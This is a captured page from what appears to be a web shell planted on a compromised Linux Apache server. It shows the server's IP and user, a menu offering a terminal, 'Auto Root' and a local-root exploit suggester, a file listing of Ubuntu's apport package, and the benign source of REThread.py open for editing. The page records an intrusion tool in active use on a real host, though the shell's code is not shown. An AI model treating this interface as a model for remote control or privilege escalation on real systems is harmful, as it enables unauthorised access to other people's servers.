Linux v69820.1blu.de 4.15.0 #1 SMP Mon Sep 30 15:36:27 MSK 2024 x86_64
Apache/2.4.58
Server IP : 195.90.215.149 & Your IP : 216.73.216.250
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
lib /
python3 /
dist-packages /
apport /
Delete
Unzip
Name
Size
Permission
Date
Action
__pycache__
[ DIR ]
drwxr-xr-x
2026-07-29 12:52
crashdb_impl
[ DIR ]
drwxr-xr-x
2026-07-29 12:52
packaging_impl
[ DIR ]
drwxr-xr-x
2026-07-29 12:52
REThread.py
2.3
KB
-rw-r--r--
2026-04-24 11:18
__init__.py
657
B
-rw-r--r--
2026-04-24 11:18
crashdb.py
34.17
KB
-rw-r--r--
2026-04-24 11:18
fileutils.py
21.9
KB
-rw-r--r--
2026-04-24 11:18
hookutils.py
35.42
KB
-rw-r--r--
2026-04-28 17:12
logging.py
1.41
KB
-rw-r--r--
2026-04-24 11:18
packaging.py
12.81
KB
-rw-r--r--
2026-04-24 11:18
report.py
74.28
KB
-rw-r--r--
2026-04-24 11:18
sandboxutils.py
12.72
KB
-rw-r--r--
2026-04-24 11:18
ui.py
77.96
KB
-rw-r--r--
2026-04-24 11:18
user_group.py
933
B
-rw-r--r--
2026-04-24 11:18
Save
Rename
"""Enhanced Thread with support for return values and exception propagation.""" # Copyright (C) 2007 Canonical Ltd. # Author: Martin Pitt <martin.pitt@ubuntu.com> # # This program is free software; you can redistribute it and/or modify it # under the terms of the GNU General Public License as published by the # Free Software Foundation; either version 2 of the License, or (at your # option) any later version. See http://www.gnu.org/copyleft/gpl.html for # the full text of the license. # pylint: disable=invalid-name # pylint: enable=invalid-name import sys import threading class REThread(threading.Thread): """Thread with return values and exception propagation. The thread is marked as daemon thread. The entire Python program exits when no alive non-daemon threads are left. """ def __init__(self, group=None, target=None, name=None, args=(), kwargs=None): """Initialize Thread, identical to threading.Thread.__init__().""" if kwargs is None: kwargs = {} threading.Thread.__init__(self, group, target, name, args, kwargs, daemon=True) self.__target = target self.__args = args self.__kwargs = kwargs self._retval = None self._exception = None def run(self): """Run target function, identical to threading.Thread.run().""" if self.__target: try: self._retval = self.__target(*self.__args, **self.__kwargs) except BaseException: # pylint: disable=broad-except if sys: # pylint: disable=using-constant-test self._exception = sys.exc_info() def return_value(self): """Return value from target function. This can only be called after the thread has finished, i. e. when is_alive() is False and did not terminate with an exception. """ assert not self.is_alive() assert not self._exception return self._retval def exc_info(self): """Return (type, value, traceback) of the exception caught in run().""" return self._exception def exc_raise(self): """Raise the exception caught in the thread. Do nothing if no exception was caught. """ if self._exception: raise self._exception[1].with_traceback(self._exception[2])